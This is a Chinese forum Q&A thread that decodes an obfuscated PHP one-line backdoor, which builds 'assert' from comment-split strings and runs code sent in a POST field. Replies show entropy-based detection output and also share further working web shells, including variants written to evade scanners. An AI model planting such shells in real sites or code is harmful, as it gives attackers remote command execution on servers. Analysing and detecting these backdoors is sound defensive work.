一个有意思的 PHP 一句话后门，怎么破？
看到一个有意思的php一句话：
<span class="cp"><?php </span>
<span class="o">@</span><span class="nv">$_</span><span class="o">=</span><span class="s2">"s"</span><span class="o">.</span><span class="s2">"s"</span><span class="o">./*-/*-*/</span><span class="s2">"e"</span><span class="o">./*-/*-*/</span><span class="s2">"r"</span><span class="p">;</span>
<span class="o">@</span><span class="nv">$_</span><span class="o">=/*-/*-*/</span><span class="s2">"a"</span><span class="o">./*-/*-*/</span><span class="nv">$_</span><span class="o">./*-/*-*/</span><span class="s2">"t"</span><span class="p">;</span>
<span class="o">@</span><span class="nv">$_</span><span class="cm">/*-/*-*/</span><span class="p">(</span><span class="err">$</span><span class="cm">/*-/*-*/</span><span class="p">{</span><span class="s2">"_P"</span><span class="o">./*-/*-*/</span><span class="s2">"OS"</span><span class="o">./*-/*-*/</span><span class="s2">"T"</span><span class="p">}</span>
<span class="p">[</span><span class="cm">/*-/*-*/</span><span class="mi">0</span><span class="cm">/*-/*-*/</span><span class="o">-/*-/*-*/</span><span class="mi">11</span><span class="cm">/*-/*-*/</span><span class="o">-/*-/*-*/</span><span class="mi">5</span><span class="cm">/*-/*-*/</span><span class="p">]);</span><span class="cp">?></span><span class="x"></span>
</span>回复内容：
assert($_POST[-16]);?> 我觉得题主应该是问的密码是多少吧，这个一句话后面注释全部去掉之后，POST数组的key其实是一个算术运算
0-11-5
如果有服务器权限，可以扫描文件的话（作为管理员没道理不行吧？），这类后门会被一类使用统计方法（计算包括信息熵、Index of Coincidence在内的一系列统计指标）的检测工具直接干爆。给一个很简单的例子：Neohapsis/NeoPI · GitHub
使用这个Python脚本检查这个文件：
[[ Average IC for Search ]]
0.139386719155
[[ Top 10 lowest IC files ]]
0.1394 ./test/test.php
[[ Top 10 entropic files for a given search ]]
3.5443 ./test/test.php
[[ Top 10 longest word files ]]
60 ./test/test.php
[[ Top 10 signature match counts ]]
0 ./test/test.php
[[ Top 10 SUPER-signature match counts (These are usually bad!) ]]
0 ./test/test.php
[[ Top cumulative ranked files ]]
5 ./test/test.php
/*-/*-*/ 注释 ：）
我觉得比较有意思的一句话后门有
echo `$_GET['id']` //插在文件中比较难发现
?>
<span class="cp"><?php</span> <span class="p">(</span><span class="nv">$_</span><span class="o">=</span><span class="nv">$I</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span><span class="o">.</span><span class="nv">$_</span><span class="p">(</span><span class="nv">$I</span><span class="o">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="mi">4</span><span class="p">])</span><span class="cp">?></span><span class="x"> 据说PKAV大牛最近写了个生成这种后门的网页</span> <span class="cp"><?php</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'s'</span><span class="p">](</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span><span class="c1">//躲避函数名查杀</span> <span class="cp">?></span><span class="x"></span> <span class="x">还有用inlude调用图片的马</span>
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